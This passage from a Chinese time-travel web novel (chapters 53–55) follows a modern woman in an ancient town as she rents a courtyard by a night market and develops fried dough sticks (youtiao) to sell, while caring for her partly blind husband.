果然,还是不要小看古代人做美食的能力,他们那个时代会做的,这个时代早就研究出来了。 第53章 第二日, 除了中食外,对面的黄鹂并没有让陆鸢准备暮食。 陆鸢也就没做饭,打算留着空腹去夜市觅食。 夜市可是美食一条街呀,去了就没有什么都不吃的道理。 况且不了解夜市的小食的味道, 又怎么做得出受欢迎的小食? 陆鸢和祁晟是太阳下山的时候出发的。 出门前, 陆鸢把祁晟眼睛上的布拆开了, 说:“夜里也无甚强光,就不用戴了。而且目上覆上黑布, 就真的像是全盲的了,那些屋主或许会不乐意把宅子租给我们。” 祁晟点头应:“那便听你的, 不戴。” 取下了布条, 但还是得继续把僕头帽给戴上。 他的头发还是太打眼了,估摸着到明年五月前, 他都得戴着这个帽子。 而陆鸢, 也没什么好捯饬了, 只需干净整洁就成。 裹头巾显年纪大, 现在不用干活, 也不怕头发会散,她也就没有裹。 她用了好些日子的紫草油护发, 头发倒是没有那么毛糙了,不仅顺滑了, 盘头做髻也轻松了许多。 再说穿着的衣裳, 这几日,她只在出门那会才会换上没有补丁的衣裳, 在小栈里,穿的都是满是补丁的旧衣。 二人捯饬好后,便出了门。 昨黄昏后, 街道就冷清了下来,可今日的街道上,都是三三两两提着灯笼出行的人。 陆鸢瞧着旁人提着的灯笼,琢磨着一会在夜市上也买一个,以防回小栈时看不见路。 走了有小半个时辰,才看到前方灯火璀璨。 最高的那三层楼瓦舍,已挂满了华灯,沿街商铺和小摊贩也都在铺子前,摊子前挂了灯笼。 便是偏远的小城都能这么繁荣,可想而知这个年代到底有多太平。 看来,她暂时是不用担心战祸的事情了。 陆鸢也暗暗松了一口气。 不怕旁的,就怕遇上打仗的时代,日日都活得胆颤心惊的,日子还能有什么意思。 陆鸢收了心思,继续打量夜市的环境。 许是他们来得早,人还没有那么多。 虽然人还不多,但沿街两边已经有小贩开始叫卖了。 陆鸢和祁晟先行去找了租房的地方。 他们昨日来夜市时,她就已经观察好了好几个地方。 她挑的都是店面小的。店面小,就说明后院也小,那么租金就不会太贵。 陆鸢找了第一家,是个卖干果的铺子。 她直接说明了来意,那掌柜似乎就是屋主,仔细打量了他们,问:“你们怎么会想到来夜市租房子?” 陆鸢道:“我郎君前些日子磕着了脑袋,双目因此有些瞧不清,便来城里看大夫。大夫说得做一个月的针灸,我们就留下来了。” “旁人说这边的屋子会便宜些,我们就过来了。” 东家闻言,看了眼男人,眼睛确实无神,但他重点却不在男人的眼睛上。 他皱起眉,问:“你们就打算租一个月?” 陆鸢问:“不能短租吗?” 东家想了想,道:“租半年的,每月租金二百文。要是短租,一个月得二百三十文。” 陆鸢听道价钱,便立刻子心里算起了账。 一个月三十天,住小栈的话,一天十五文,一个月就是四百五十文。 这二百三十文也不过是住小栈的半个月房钱。 而且住小栈,就无法避免和一些陌生人同住在一个屋檐之下,有诸多的不方便。 这两点下来,太值得了,吵一点都不算是缺点了。 陆鸢飞快算完账,便问:“那能不能让我们先瞧瞧环境?” 东家:“自是可以。” 他提起油灯,走到通往后院的门。打开门走了进去,陆鸢也搀着祁晟一同进去。 夜色还未全暗,依稀可见院子里边的布局。 一间屋子,一间厨房,窄小的院子里还有两间小屋,应该就是澡间和茅房。 小院余下的空间很小,几乎就是半丈长,半丈宽,只够晾个衣服,放个水缸,多余的东西都放不下。 东家道:“我这地方小一些,所以租金上也会比其他地方便宜。” 也因为实在太小了,都不适合拖家带口的居住,所以才没租出去。 陆鸢随着东家进屋打量了一眼,发现卧室有一张竹床,还有被褥,她问:“有人在这住吗?” 东家道:“租不出去,平日开市,我若是生意做得太晚,就会在这歇着。要是租出去了,我自然不会在这住了,你们也可以给门上锁,平日我也不会再到后院来。” 家中也有居住的屋子,若是能把这院子租出去了,也能增多一个收项。 说到最后,又补充:“你们短租,这竹床也可以留下来给你们用,省得你们再花钱去买床。” 陆鸢点了点头,复而打量了眼卧室,比小栈客房大了一些,能放点其他杂物。 但厨房也很小,除一个灶台和放柴火的角落,只能容纳一人在里边做饭,转身就是门口,连个烧火的人都坐不下了。 不过,才二百三十文钱一个月,每天都不用十文钱,还想要什么大豪宅? 就价格而言,这住宅已经可以了。 看了小半会,东家还要做生意,便都到了铺子里商量。 陆鸢道:“东家,这屋子的月租能不能再便宜一些?” 动作眉头紧蹙,道:“这个价钱,你在夜市里都找不到第二家了,若不是夜市吵,这两百三十文压根租不到一个小院。” “就这二百三十文,不能少,除非你们租三个月,我能给你们少十文一个月。” 陆鸢犹犹豫豫了一会,说:“那我们夫妻俩商量一会,晚点再过来确定,成不?” 掌柜点了点头,也没留他们。 就这点,陆鸢就可以确定没有谈的余地了。 出了铺子,陆鸢便拉着祁晟去看了其他家。 他们陆续又看了两家,确实只有第一家铺子的租金是最低的。旁的大了一些,同时也贵了十文到二十文一个月。 问题是也没大多少,就院子大了些,没什么太大的影响,自然也就是租第一家的院子。 返回与东家说好后,便约好明日下午未时来签契书。 不过半个时辰,就把租房的事敲定了。 离开干果铺子,陆鸢和祁晟在夜市逛了起来。 随着入夜,夜市的人越来越多了,从瓦舍里传出了丝竹管乐之声,轻快悦耳,可想而知瓦舍里多热闹,繁华。 路边的摊子陆续都摆了上来,什么吃食都有,便是豆乳豆花都有。 有卖糕点,有卖胭脂水粉,或是糖人,从吃到玩再到用的,五花八门,让人瞧得眼花缭乱。 陆鸢想知道自己与别人的差距在哪,便拉着祁晟坐了下来,要了一碗豆乳和一碗豆花。 一样大的碗,豆乳一文,豆花三文。 她再要了一个小碗,倒了一小半的豆乳,剩下的给祁晟。 陆鸢尝了几口,味道和自己做的,好像也没有什么不同。但仔细分辨,还是有些许不同的。 与糖的甜味不同,用山泉水做的豆乳,回味间都会有丝丝浅浅的甘甜。 喝了小半碗的豆乳,她又盛了三分之一的豆花,余下还是推到祁晟跟前。 豆花也是一样的味道,大差不差,但也有细微的差别。 果然,水质真的很重要。 只是她就算真想继续干老本行,要有石磨,还要有山泉水,不然能拿什么来和别人比? 喝完豆花豆乳,陆鸢又和祁晟继续逛,要了一个三文钱一个炊饼,依然是她一小块,祁晟一大块。 吃了这么些,她也已经有六七分饱了。 逛了一圈,陆鸢好像觉得少了点什么。 豆乳和豆花,甚至是饼子和包子,在夜市里都有得卖,可好像总觉得少了点什么。 陆鸢左右环顾了一圈,看到有人在炸饼子,她就反应过来少了什么了。 少了油条! 豆乳和油条可是绝配,怎么能少了呢。 陆鸢问祁晟:“你听说过油条吗?” 祁晟摇了摇头:“油饼听说过,油条却未曾听说。” 陆鸢形容道:“就是长长两条并在一块的油渣面,可以掰成两条,酥酥脆脆的,真没听说过?” 祁晟仔细想了想,复而摇头:“未曾。” 要是真没有油条,是不是还没被做出来? 不管现在有没有被做出来,反正她在安平镇和广康城都没有看到有油条,她姑且当作没有。 她心里顿时有了主意。 豆乳和油条是绝配,有了油条这个新鲜吃食,有没有山泉水都不是那么重要了。 她没做过油条,但看过家里人做,也问过配料。 她奶奶就与她说过做油条的口诀,一碱二矾三两盐。 冬温水,夏凉水,三揣三醒。 虽然忘了用量,但多试一试,总能试到最好的比例。 陆鸢心情甚好的与祁晟道:“我知道咱们要做什么买卖了。” 祁晟:“油条?” 陆鸢笑道:“对,就是油条,还有豆乳。” 她走到了油炸饼子前,买了一个拳头大的油炸饼子。 三文钱一个。 她自己掰了一半,又给祁晟一半。 一口下去,很酥,同时也吃得出来是猪油炸的,只是锅里的油可能用很久了,有细微的油腥味。 吃完了油饼子,她转头和祁晟说:“明天签了契书后,咱们就搬来这里,我再开始琢磨一下该怎么做油条。” 说到这,她又问:“你吃饱了吗?还要不要再吃些别的?” 祁晟摇了摇头:“够了。” 她吃得少,大部分的豆乳豆花,两个饼子大半都进了他腹中,也是吃了七分饱。 回去前,陆鸢又花了十文钱买了个灯笼。 加上吃食,今晚一共花了二十文。 回了小栈。 小栈掌柜见他们早早回来了,诧异地问:“二位,是夜市不好玩吗,怎这般早就回来了?” 陆鸢笑应:“郎君眼睛不好,瞧不见热闹,也就回来了。” 小栈掌柜这才反应过来她男人瞧不见。 主要今日未遮双目,看着一点也不像盲人,还真忘了这一茬。 陆鸢跟在祁晟的身后上了楼。 上了楼,进了屋子,陆鸢便把装着铜板的布袋拿了出来,放在在桌面上打开。 铜板全数过了,也都串成了二十文一串。 这几日,祁晟的药钱和针灸,就花费了一百五十多文了,还有住宿吃食,杂七杂八的,他们什么都没干呢,就花去了三百文。 要不是菌干挣了些钱,他们也租不起房子,最多再待几天就得回去了。 陆鸢数了数,还剩下三百八十多文。 明日祁晟再去一趟医馆针灸,针灸一回五十文。那药包倒是还可以重复用一遍,可还是得花费五十五文。 租了房子后,勉强只剩下一百文了。 她顿时就愁了起来,这一百文估计只够摆摊的成本,那祁晟下下一次去医馆针灸就成问题了。 早知道今日就不花那么多铜板了。 许久没听见她说话,祁晟问:“钱不够用了?” 陆鸢也不瞒他:“全部安排好后,就剩下一百文了。” 祁晟一下子就听明白了。 “做小本买卖也要本钱,但用了这本钱,又没法去医馆继续针灸了,是不是?” 陆鸢闷闷地“嗯”了一声。 祁晟道:“我今日问过大夫了,他说不去一两日也没关系。” 陆鸢看向他,问:“你为什么忽然问大夫这个?” 祁晟道:“我大概盘算过我们现在的银钱,再说小栈贵,且住着不方便,肯定得租房子住,这也是一笔支出。” “另外若不做点买卖,肯定是待不了多久,买卖也要成本,这二者加起来,便得出了个大概的数目。” 他这病,用药和针灸,平均每日要七十多文,花钱如流水,不经造。 “既然停一两日也没关系,那就先等挣上银钱再继续。” 陆鸢仔细想了想,还是道:“待明日我再仔细去问问大夫。” 要是实在没法,她就先卖豆乳,油条就先不捣鼓了。 就是不确定,在这城里,竞争这么激烈,她的豆乳能有几个人喝? 夜里,陆鸢总在琢磨这些烦心的事,翻来覆去都睡不着。 祁晟劝道:“夜深了,莫想了,待明日去问过大夫,就能有答案了。” 他也知道她的顾虑,担心他是为了让她先做生意就撒了谎。 陆鸢轻叹了一声:“钱真难挣。” 她要是知道会穿越,早就去把制作香皂玻璃的法子背得滚瓜烂熟,也不至于还是一文钱一文钱的挣。 祁晟不禁笑了,安抚她:“你比很多人都强多了,很多人都还在为吃饱穿暖挣扎,但在这两点上,你已经做到了,其他的便一步一步来,急不得。” 陆鸢问:“慢慢来,你就不怕没钱治眼睛么?” 祁晟想了想,道:“倒真没怕过。” 陆鸢皱眉:“为什么?” “自是信你。” 陆鸢在黑暗中给了他一记白眼。 “别信我,我也有把事情搞砸了的时候。” 祁晟:“可以我对你了解,我的感觉告诉我,你肯定能成功。” 陆鸢又叹了一声:“奋斗的可是我,你就是站着说话不腰疼。” 祁晟应:“是是是,我站着说话不腰疼。” 陆鸢推了推他:“你睡你的,我再想想。” 祁晟道:“我陪你一块。” 陆鸢撇了撇嘴,也没劝他。 陆鸢勉强睡了一个半时辰,就起来盥洗,然后去熬粥。 粥熬好,从厨房端出来之时,便看到黄鹂像一个女鬼一样从小栈外游荡进来,整个人蔫蔫的。 仔细闻,还能闻到一股子酒味。 这舞娘还真少不得与人喝酒。 这两日也挣了她三十文钱,陆鸢便客套的问:“要不要喝完小粥?不用你付钱。” 黄鹂没精打采地瞅了她一眼,说:“那就给我送一碗上来。” 陆鸢:“那你把碗拿到门口,给你盛点。” 两人先后上了楼,没一会,黄鹂便把碗端了出来。 陆鸢给她倒了半碗,随后说:“今晚就不给你做饭了。” 黄鹂眼睛一睁:“怎的,嫌我二十文钱还给少了?” “那倒不是,主要我们今日就搬走了,自然不能给你做饭了。” 黄鹂眉头一皱:“不是说治眼睛吗,这么快就治好了?” 她还想让班主来瞧一眼这俏郎君呢,这么快就搬走,还怎么瞧? 陆鸢只道:“这小栈住宿我们支撑不住,便换个地方。” “那要搬去何处?”黄鹂追问。 陆鸢笑了:“咱们好似也还没熟到可互换交换住址的交情。” 她才不会傻傻地与她说地址。 她这一看,就知道黄鹂还没放弃想把她家男人拉下海的打算。 黄鹂脸色冷了一些:“我只是问问,这般防备做什么?!” 陆鸢皮笑肉不笑:“就是不方便告知。” 说着就端着粥转身回屋去。 开门进了屋,放下粥去关门的时候,看到对面黄鹂还站在原地,她轻一颔首才把门关上。 关上门,走到桌前小声与祁晟念道:“对门那黄鹂还没放弃呢。” 想了想,又说:“还没到山穷水尽呢,你可别答应她。” 祁晟点头:“你且宽心,我说了信你,自然信你。” 陆鸢把筷子放到他手中,暗自嘀咕:要是真没法子了,他肯定不可能接受自己眼瞎,成为拖累的,到那时,他估计还真会接受黄鹂的提议。 喝了粥后,便出发去医馆。 出门前,还顺道和小栈掌柜说今日中午退房的事。 去了医馆,陆鸢便径直问大夫,是不是可以先停两日针灸。 大夫道:“停两日也行,但得继续敷药,不过最好就是能继续针灸。”说着,又道:“要是银钱不够,倒是可以先赊你们两三日。” 毕竟这针灸一开始做了,旁的大夫很难接手,倒也不用担心他们之后不来了。 陆鸢闻言,眼里露出了惊喜之色:“真的可以赊账吗?” 大夫点了点头:“最多可以给你们赊账三日,但是三日后,得把之前的银钱补足,老朽才会继续给你们继续针灸。” 陆鸢连忙点头。 有三日时间,手头就已经够宽松的了。 如此,她也不用担心祁晟停了针灸后,之后再复针时,会不会对他恢复视力有所影响了。 这事情解决了,陆鸢浑身一松,啥烦恼都没了。 大夫又道:“不过得让药童登记一下你们的过所。” 祁晟也暗暗松了一口气,应:“那是自然。” 过所上有他们的户籍所在,登记是为了避免逃账。 针灸过后,时间还早,便回客栈收拾收拾,差不多到时辰了,才去退房。 他们的行李还是挺多了,但大部分都是祁晟来负担。 他不仅背着背篓,还提着装有锅碗瓢盆的桶,只腾出一只手拿竹竿探路。 陆鸢只拿了一个盆和一张席子,本想给他再分担一些的,但他愣是要自己拿。 陆鸢琢磨着他是要彰显自己不是一个废人,为了不打击他的自信心,便也就随他了。 祁晟只是颇为心疼她,却没想她脑子里想了那么多。 在别人异样的视线之下,一路走去。 因着陆鸢走错路,多花了些时辰才找到的干果铺子。 夜市单日不允许摆摊,但铺子还是可以照常开门的。 下午,夜市的铺子都陆陆续续地开了门,也包括干果铺子。 东家瞧见他们俩,道:“我以为你们不来了。” 陆鸢解释道道:“少了摊子,一下子不认识路了,就找了许久,不好意思。” 东家也没当一回事,只道:“只租一个月,租金自然是全给了,屋子不能损坏,若有损坏,我可得报官的。” 陆鸢应:“明白,明白。” 想了想,她又说:“那能不能先确定有哪些地方是坏的,省得生出误会。” 现在也没客人,那东家便与他们在白日里又进去看了一遍院子。 窗户有些坏了,东家找来锤子,直接就修好了,倒也没有旁的问题了。 签了契书,交付了银钱,一人一份的契书。 东家把后院的钥匙给了她,说:“通往铺子的后门,平日我都会上锁,你们若是怕我进去,你们便自己找把锁也给锁上。” 交付完后,陆鸢便和祁晟进了后院,那门也当即落了锁。 毕竟东家也不了解租客。做生意的,自然得防着点,不然真遇上手脚不干净的,铺子里的吃食被贪了些事小,就怕被撒了药,那事才大了。 陆鸢看着满是枯树叶的院子,嘴角却是抑制不住地上扬。 可终于有个私人空间了,在小栈住的几日,住得太过憋屈了。 旁的不说,就隔壁屋住了一对夫妻,夜半时便爱做夫妻爱做的事。 虽然憋住了声音,也小心翼翼的,但到忘情时,总会有些暧昧的声音传到他们屋子来。 虽是夜深,可昨夜她愁得失眠了,夜半也没睡好,就听到了一些声响。 她都能听见了,更别说睡眠浅的祁晟了。 那对夫妻比他们都入住得早,估摸着这几天祁晟都听见了那些声响。 便是有可能知道对方听到了隔壁的动静,可都心照不宣,谁都没有提过这茬。 陆鸢敛了敛乱七八糟的心思后,再放下东西后,便捋起了袖子,干劲十足的道:“开始收拾!” 第54章 租的小院, 家具极为简单。 竹床和小木桌各一张,还有两张矮杌子,最后便是厨房那一口不能挪动的锅。 陆鸢仅收拾了小半个时辰,就把院子收拾好了。 院子本来就是两百来文租的, 也挑不了什么毛病, 现下唯一的问题是竹床比小栈的床都还要小。 她站在房中, 手托下颚盯着竹床瞧。 祁晟瞧不见,也帮不上忙, 只得是站到角落不挡她收拾的道。 只是她进屋后,忽然就没了半点声响, 他有些担心, 便摸进了屋中,喊:“丽娘?” 陆鸢头都没转, 问:“咋?” 祁晟问:“你忽然没声了, 我就喊一下。” “你知道我为什么忽然没声了吗?”她忽然问。 祁晟摇头:“不知。” 双目虽隐约瞧见影子, 但大夫还是让他继续裹着布条。 陆鸢看着窄小的床, 说:“我在思考, 这床这么小,到底咋睡。” 祁晟闻言, 眼皮微跳了跳,问:“有多小?” 陆鸢想了想, 也不知道该这么形容, 便径直拉把他拉到了床边,说:“你直接用手丈量一下就知道有多小了。” 祁晟摸到了床, 弯腰倾身朝前竹床最里侧摸去,手臂都还没伸直就已经碰到了墙壁。 估计还没到三尺宽。 小栈的床好歹还有三尺三四。 知道尺寸后,祁晟也沉默了。 陆鸢道:“你说咱们得靠得多紧才能睡得下, 睡下之后,还能翻身吗?” 祁晟:…… 这会她竟只是担心翻不了身。 陆鸢与他躺一张床上久了,床搭子也没有什么逾越举动,她都已然习惯了,抱到一块,她估计也能做到面不改色。 “算了,也不能换床,反正也都能睡下,挤一挤就成。” 她干脆的做了决定,转头看向依旧皱着眉头的祁晟。 陆鸢耸了耸肩,他若有别的想法,那他就自己解决,总归她是没办法了。 她拍了拍身上因收拾而沾上的灰尘,与他说:“我有些东西要问你。” 祁晟闻言,这才从晚间怎么睡的思索中回过神,朝向她,问:“何事?” 陆鸢:“你知道做吃食的碱水是怎么做的吗?我只知用草木灰做的,但却不知道该怎么……”她顿了顿,把提取一词改成“炼出来。” 祁晟应:“自然知道。” 闻言,陆鸢顿时露出了喜意,追问:“怎么炼?” 祁晟道:“有稻草就行,不用多,一小把也够了。” 稻草在乡下倒是好找,可这城里也没人种田呀。 祁晟似乎也想到了这一点,继而道:“寻常树枝也行。” 这个好找。 反正他们烧火做饭都得柴火,那现在就去市集上买。 明矾的话,应该也能在药材铺子买得到。 “走,咱们出去采买。” 买的东西不少,还得有个人帮忙拿呢。 现在还不到申时,街市也还没那么快收市。 祁晟背上背篓便与她一同出门。 街市离夜市并没有多远,穿过两条巷子便到了。 摊贩大多都已经开始收摊了,找了好一会,才看到还有人在卖木柴。 不多了,就只剩下一小把了,但估摸着也够五六天的用量了。 一小把的木柴,竟然也要三文钱。 陆鸢忽然有些怀念围山村那些不要钱的柴火了,现在再让她去砍柴,她肯定不会再有半句怨言。 买了柴火,还要去买板油。 城里猪肉档多,且秋日凉爽,猪肉也耐放,所以这个时候也还有猪肉卖。 便是板油也还有好些。 广康城和安平镇的物价也差不到哪里去,板油也是二十文一斤。 快要收摊了,还有好些没卖完,摊贩也就给她便宜了一文钱。 陆鸢闻过味后,确定还没臭味,这才要屠户切了三十文的板油。 之后又买了两斤面粉,花销三十文。 明矾则是按两卖,七文钱一两。 明矾用多了有毒,所以用料非常非常的少,一两也足够使用多次了。 最后则是装油条的东西了。 油纸太贵了,只得买荷叶。 在夜市里,经常能看到用晒干的荷叶来打包吃食,不仅干净还便宜。 先前买油纸时,陆鸢也见杂货铺有卖,一文钱一卷,有二十张。 陆鸢要了三文钱。 另外也还买了一个三文钱的竹编簸箕,用来放油条。 买完这些东西后,这手里的银钱就只剩二十来文钱。 她询问过房屋的东家,在夜市摆摊,瞧地段,靠近瓦舍的摊位,一晚三十文钱,稍次一些则需二十文钱,而靠近街尾的,最低十文钱。 这瓦舍附近的位置,还得靠抽签,运气好才能抽到。 而其他位置,也讲究先到先得。 那东家还说,夜市瞧着人多,但也有大多人是凑热闹不买吃食的。有好些小摊贩摆了一段时间后,因生意不好,不干了的也很多。 夜市中最便宜的一个摊子,也比他们住的房子还要贵。 不是广康城的人,若是想做夜市生意,还得有个住处,加上这一晚上二十文钱的摊位费,没有好手艺还真负担不起来。 再要留下摊位的钱,那么他们手上所剩银钱都不够十文钱了。 这回真的是一朝回到了解放前。 这买卖,也是真的不成功便成仁。 回到刚租下的小院,陆鸢就开始催促让祁晟做碱水。 昨晚她睡不着,也回忆了一宿小时候看奶奶做油条的记忆。 时间久远,已经很模糊了,始终记不起来配料的用料比例是多少。 虽然记不起来,但也记得量很少。 祁晟开始指点她做碱水。 “烧好的草木灰,用热水浸泡上一个半时辰,再用布过几遍,得出的橙黄色的水就是碱水了。” 陆鸢惊讶道:“就这么简单?” 祁晟点头:“就这么简单。” 陆鸢懊悔地拍了一下自己脑袋,早知道碱水这么容易就得来,她以前就应该看几眼怎么制造香皂了。 懊悔完,则按照祁晟所言,清理干净了灶台里边的灰烬,然后舀了半一锅水,顺道烧开。 吃饭的两个碗都用放草木灰了,他们今天的晚饭就只能吃油条了。 不然实验出来的也没人吃,浪费。 等碱水的时间,则用来熬猪油。 一斤半的板油,最后熬出来一斤多一些,出油率也算是高了。 油少,且只能用砂锅做油条,所以只能做短油条,也就是寻常油条的一半长。 油熬好,就等碱水和面发好后,才能炸油条。 可估摸得等到子时才能开始炸油条。 他们也饿不到那会,陆鸢便揉了一点面,随便炸了几个面粉团子。 …… 没有发过面,就是一团死面。 她吃了一个后实在是吃不下去了,就看着祁晟面不不改色吃完。 这么长的时间,只是不能空等着。 她拿着桶出了门去打水。 这附近有三个水井,都是供附近的人打水用的。 不过这附近因吵闹,不适合孩子和老人居住,所以这个时辰也没什么人走动,且很是安静。 陆鸢打水回来,把油都盛到了砂锅里,涮干净后便开始烧洗澡水。 入了夜后,陆鸢才开始过滤出黄色的碱水。 有了碱水,便可和面了。 油条的面不能揉,得用掌心压搓,不然蓬松不起来。 陆鸢凭着自己的感觉加入碱水和明矾兑的水,还有少量的盐和鸡蛋液,油。 她压了三团小拳头大小的面。 压好后,便全放到砂锅里边,盖上盖子发面,每隔半个时辰再压搓一遍,压搓两边后,就密封发面两到三个时辰。 等压了两遍面后,都已经快要亥时了。 陆鸢昨夜没怎么睡,今日又忙着搬家,收拾,好为摆摊做了大半日的准备,早已疲惫不堪了。 她打了个哈欠,便与祁晟道:“咱们睡吧,明日起来再炸油条。” 便是明早才研究出来配方,他们也有一整日时间做准备呢,也不着急。 祁晟与她进了屋,道:“我还以为你会睡不着。” 她全副身家都用在了这买卖上,他还当她会像昨晚那样翻来覆去睡不着。 陆鸢扭了扭酸痛的脖子,说:“你都说了对我有信心,我当然也得对自个有信心。” “再说了,我这身子骨也熬不住天天熬夜。” 她凭着感觉摸到了床边,脱鞋上床,接着挪到了最里侧,紧紧贴着墙壁。 “你也睡了吧。” 再愁,也得把身体的本钱给养好。 祁晟坐到了床边,脱下躺下。 虽躺下了,但有半个身子是悬在床外边的。 陆鸢感觉不对,摸了摸他们两人中间剩下的空隙,就知道他是咋睡的,无奈道:“都一块睡这么多回了,你怎比我一个女人还矫情?” 祁晟闻言,静默片刻。 他该如何和她解释,他为何会这么生分的原因? 他本就是血气方刚的年纪,且这身体已经恢复了。不仅恢复了,而且还恢复得极好。 前几日住在小栈,夜里总有些淫靡之音传入耳中,身边又是自己名正言顺的妻子,一个正常男人若没半点想法,实属不正常。 如今淫靡之意倒是没有了,可他确实也确实是动过了心思。 现下这床还这么窄小,二人身躯紧紧挨着,他觉着自己身心都做不到心如止水。 陆鸢见他依旧没有动作,便恼道:“你还不快躺进来,我可生气了!” 以往都好好的,也不知怎的忽然这么矫情了。 祁晟轻叹了一声,还是默默地往里挪动,与她肩并肩,手臂挨着手臂。 她这妇人,与旁的妇人全然不同。 若被她知晓他矫情的原因,她第一时间不是害怕,或是觉得他龌龊,而是该笑话她了。 避免他一个大男人被她笑话,还是不要与她解释的为好。 见他躺了进来,陆鸢嘀咕道:“还偏要我请才躺进来。” 祁晟:…… 她这哪是请,分明是威胁。 陆鸢累得慌,也没闲心继续搭理他,闭上眼便睡了。 祁晟闭上双目,也开始酝酿睡意,可当颈窝处吹来温热的气息,还有忽然搭到胸口和大腿上的手脚,他便彻底没了睡意。 第55章 陆鸢因记挂着做油条, 天色还没亮呢,人就已经醒了。 没有油灯,也炸不了油条,只能等天亮。 只是醒着, 一直不动也难受。 更别说时下, 她近乎半个身子都叠在了祁晟的身上。 她这睡姿, 什么时候这么差了? 估摸着是床太小,翻个身就翻到他身上了, 怪不着她。 陆鸢小心翼翼挪动腿和手,但一动, 身下的人就醒了。 “醒了?”刚醒, 祁晟的声音有些低哑。 陆鸢见他醒了,动作幅度便大了起来, 直接收回了手和脚, 整个人躺平。 陆鸢道:“咱们再睡一会儿吧, 不然今晚会喧嚣到子时, 想睡都睡不着。” 祁晟“嗯”了一声, 声音带着倦意。 他好似刚睡着没多久,半个身子都趴在他身上的人动了动, 他便醒了。 陆鸢也怕自个把人再次吵醒,便闭上眼睛强迫让自己多睡一会儿。 一闭眼, 再一睁眼, 天色已然大亮。 她中途醒来时是什么样的姿态,醒来是依旧还是什么姿态。 陆鸢:…… 也难为祁晟了。 得亏他睡姿好, 要是睡梦中与她一样,半个身子翻过来,她估摸着隔夜饭都能被他压出来。 陆鸢也是只动了一下, 祁晟就醒了。 二人醒来后,陆鸢先去查看了发酵的面。 用手指戳了戳,松软的就留下来做油条,硬实的就蒸来吃了, 五块小面团,有三个面团发得有女子拳头大小。 陆鸢最坏的打算是没有一个成功的,如今能有三个面团能发酵成功,属实让人惊喜。 现在就剩下炸油条的实践了。 查看过面团后,她便去打水,就着井口边的柳树上折了几根柳枝回去刷牙。 盥洗过后,陆鸢便在风炉内生了火,然后把半砂锅的油放置风炉上。 这油量还是少了些。 炸油条也会有耗油量。 所以挣了钱后,肯定还得买板油来熬猪油。 面团已经很柔软了,轻轻一拉就能拉开来的。 陆鸢用喝水的竹筒滚平,约莫拇指长的宽度。 接着用筷子划断成一小片一小片。 两片叠在一块,再用沾水的筷子在中间压一条痕。 做完这些,拿起压好的面,拉长就放入已经烧开的油锅中。 这个锅,同时只能做两根油条,做不了多的。 陆鸢在厨房捣鼓了差不多小半个时辰,才用碗装了六条两指长的油条出来。 她放到桌上,把祁晟也喊了进来,说:“我刚压了一下,就有两个面团做出来的油条是最为酥脆的,你给我试试哪一个比较好吃。” 说着,她就给他掰了其中一根油条,只给了少许。 祁晟吃进口中后,她又从第二根油条上掰了一段给他。 听着酥脆的咀嚼声,陆鸢定定地看着他。 祁晟察觉到她的视线,开了口:“我觉得二者都可以,这油条又酥又香,与炸饼来说,好口感好似更佳。” 陆鸢闻言,也立刻尝了她觉得好的两根油条,确实差别不是很大,有可能是因为她材料大差不差。 也不知道是不是用板油炸的原因,这油条确实很香。 便是如此,这油条的味道对她来说没有太惊艳,毕竟她吃过更好的了,这只能算是一般路边摊的味道。 不过,对于这个还没有油条的时代来说,也代表着没有对比。 没有对比,她家的油条就是最好吃的。 她拿了一根还没掰过的递给祁晟,问他:“你瞧瞧,这能卖多少钱一根。” 祁晟摸索着丈量了一下手中油条的大小。 问:“一斤面粉,你能做出多少根这样的油条,这油量又能炸多少根?” 陆鸢大概算了一下,应:“油用量我也不清楚,面粉的话,估计是三十根左右吧。” 她做的个头小,而且这时代的一斤克数为六百克,应该是能做出这么多的。 祁晟道:“那么就算油用量和面粉一文钱,摊位费也算进一斤五文钱,成本虽不到两文钱,但肯定得挣钱,依着咱们前日去夜市吃得油炸饼子对照,三文钱一根。” 陆鸢问:“会不会贵了点。” 毕竟以前她吃的都是两块钱一根,而且这只有一半长。 祁晟道:“馒头且两文钱一个,你这油条还用了油炸,你怎会觉得贵?” 陆鸢一愣,反应过来:“是呀,我怎么会觉得贵,那豆花都买三文钱一碗呢!” 她真的是被自己世界的物价所影响了。 她回过神来,拍案定板:“那就三文钱一根。” “等卖上几回后,我就添两套桌椅,然后开始搭着豆乳一块卖,靠着豆乳再多挣点钱。” 祁晟掰了油条吃了起来,片刻后,道:“油条吃了一些,有些许的噎,若是有饮子或豆乳搭着卖,我手头也宽裕,定然也会要一碗。” 陆鸢心道油条和豆乳的搭配,可是老祖宗们近千年来都没改变的习惯,可见这二者搭在一块卖,肯定是有市场的。 心下有了成算,油条也做出来了,陆鸢绷紧的心情终于松了一半。 她也拿着一根吃了起来,与祁晟道:“咱们今天早上吃油条,剩下的面团,中午和晚上蒸来吃了,别浪费。” 祁晟想起了昨晚的一粒粒油炸出来的死面,便是看不到,也知道她没怎么吃。 他与她道:“晚上你自己熬点粥喝,至于蒸的馒头,我吃就好。” 陆鸢忽然笑出了声:“知晓你心疼我,可这发酵过的面,虽然没怎么发,但也不至于像昨晚那一团死面,我能吃得下。” 时下的光景,哪轮到她来挑呀,能吃饱肚子就已经很不错了。 “而且,也有发酵好的,只是我不想浪费油来炸,就蒸来吃,省点油。” 想了想,陆鸢又道:“我仔细想过了,这次做的量少,花二十文的摊位费不划算,咱们还是到十文钱的摊位,慢慢卖。” 夜市能摆至子时,这早早收摊自然是不划算的。 且就几十根油条,除却成本外和摊位费,都不知道能不能挣到一文钱一根的利润。 祁晟道:“你这油条不比油炸饼子差,生意好,个把时辰就能卖完了,剩下那么多时辰也不划算。” 两个人也算是不谋而合了。 吃过早饭,陆鸢醒面后,便与祁晟出发去医馆。 医药费能宽限三日,刚好能出两回夜市的摊子。 手头也能宽松一些。 要不是不方便搬动桌子去东市,且要带的东西也多,她还想着去东市摆卖早市呢。 准备入夜,在陆鸢的指点下,祁晟帮她把桌子背到了夜市。 夜市街道已经稀疏错落支起了好些摊子,道上也有三三两两的人在走动。 陆鸢找到里甲,询问过后才知道十文钱的地区在哪。 东家没说清楚,十文钱和二十文钱也有在同一个地段的。 只不过区别在于位置大小。 十文钱的摊位费,只有二十文钱的一半大,除却摊位外,就只能摆得下一张桌子。而后者能摆上两到三张桌子。 陆鸢交付了十文钱,便领着祁晟挑选了一个相对好的位置,把桌子放下后,她就让祁晟在原地等她,她跑回去把油锅端出来。 油锅端出来后,便开始生火热油。 等油热至没有半点油泡后,她便拉了面放到锅中油炸。 炸好两根油条的时候,陆鸢便开始吆喝了起来:“卖新鲜油炸的油条,又香又酥脆的油条了。” 祁晟听着她清亮的声音,问:“要不要我也给你吆喝几声。” 